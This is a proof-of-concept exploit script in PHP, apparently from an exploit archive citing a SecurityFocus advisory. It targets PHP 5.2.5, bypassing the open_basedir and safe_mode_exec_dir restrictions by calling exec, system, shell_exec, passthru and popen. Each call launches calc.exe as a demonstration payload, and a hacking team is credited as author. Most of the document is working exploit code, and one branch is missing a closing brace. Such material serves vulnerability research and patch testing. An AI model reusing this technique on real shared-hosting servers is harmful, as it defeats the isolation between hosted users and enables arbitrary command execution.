880bbe402e
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86 lines
No EOL
3.2 KiB
PHP
86 lines
No EOL
3.2 KiB
PHP
source: https://www.securityfocus.com/bid/31064/info
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PHP is prone to 'safe_mode_exec_dir' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to execute arbitrary code.
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These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.
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PHP 5.2.5 is vulnerable; other versions may also be affected.
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<?php
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print_r('----------------------------------------------------------------------------------------
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PHP 5.2.5 Multiple Function "open_basedir" and "safe_mode_exec_dir" Restriction Bypass
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----------------------------------------------------------------------------------------
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-------------------------------------
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author: Ciph3r
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mail: Ciph3r_blackhat@yahoo.com
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site: www.expl0iters.ir
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S4rK3VT Hacking TEAM
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we are : Ciph3r & Rake
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Sp Tanx2 : Iranian Hacker & kurdish Security TEAM
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-------------------------------------
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-------------------------------------
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Remote execution: No
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Local execution: Yes
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-------------------------------------
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---------------------------------------------
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PHP.INI settings:
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safe_mode = Off
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disable_functions =
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open_basedir = htdocs <-- bypassed
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safe_mode_exec_dir = htdocs <-- bypassed
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---------------------------------------------
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-------------------------------------------------------------------------------------------
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Description:
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Functions "exec", "system", "shell_exec", "passthru", "popen", if invoked from local,
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are not properly checked and bypass "open_basedir" and "safe_mode_exec_dir" restrictions:
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-------------------------------------------------------------------------------------------
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');
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$option = $argv[1];
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if ($option=="1"){
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exec('c:/windows/system32/calc.exe');
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echo '"exec" test completed';
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elseif($option=="2"){
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system('c:/windows/system32/calc.exe');
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echo '"system" test completed';
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}
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elseif($option=="3"){
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shell_exec('c:/windows/system32/calc.exe');
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echo '"shell_exec test" completed';
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}
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elseif($option=="4"){
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passthru('c:/windows/system32/calc.exe');
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echo '"passthru" test completed';
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}
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elseif($option=="5"){
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popen('c:/windows/system32/calc.exe','r');
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echo '"popen" test completed';
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}
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elseif($option==6){
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exec('c:/windows/system32/calc.exe');
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echo "exec test completed\n";
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system('c:/windows/system32/calc.exe');
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echo "system test completed\n";
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shell_exec('c:/windows/system32/calc.exe');
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echo "shell_exec test completed\n";
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passthru('c:/windows/system32/calc.exe');
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echo "passthru test completed\n";
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popen('c:/windows/system32/calc.exe','r');
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echo "popen test completed\n";
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}
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else{
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print_r('--------------------------------------
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Usage:
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php poc.php 1 => for "exec" test
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php poc.php 2 => for "system" test
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php poc.php 3 => for "shell_exec" test
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php poc.php 4 => for "passthru" test
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php poc.php 5 => for "popen" test
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php poc.php 6 => for "all in one" test
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--------------------------------------
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');
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}
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?>
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